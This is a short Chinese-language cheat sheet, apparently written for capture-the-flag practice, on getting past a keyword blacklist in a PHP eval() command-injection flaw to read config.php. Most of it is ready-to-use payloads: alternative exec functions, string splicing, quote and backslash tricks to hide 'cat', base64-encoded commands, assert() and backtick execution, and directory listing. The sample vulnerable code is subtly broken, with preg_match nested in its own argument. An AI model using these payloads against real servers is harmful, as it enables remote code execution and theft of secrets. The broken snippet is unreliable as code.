命令执行绕过黑名单方法

# flag in config.php
if(!preg_match("/system|exec|highlight/i",preg_match($c)){
	eval($c);
}

根据黑名单的不同，获取config.php的内容有以下几种方法:
1.命令执行函数
system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()
?c=passthru('cat config.php');
2.构造
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
3.绕过cat命令
?c=highlight_file('config.php');
?c=system('ca""t config.php');
?c=system("ca''t config.php");
?c=system('ca\t config.php');
linux有很多类似于cat的方法:tac、more、less、head、tail、nl、sed、sort、uniq
4.base64绕过
?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
5.绕过分号;
?c=system('cat config.php')?>
?c=assert(base64_decode('c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp'))?> //assert()会将字符串当做PHP代码来执行，并且字符串末尾可以没有分号
6.POST传值
?c=echo `$_POST[1]`; //然后再通过post传参1=cat config.php
其他函数:
//打印该目录下所有文件名
?c=var_dump(glob('*')); //信息更全面
?c=print_r(glob('*'));
?c=print_r(scandir('.'))
//下面两个同第二个，只是不带参数
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(current(localeconv())));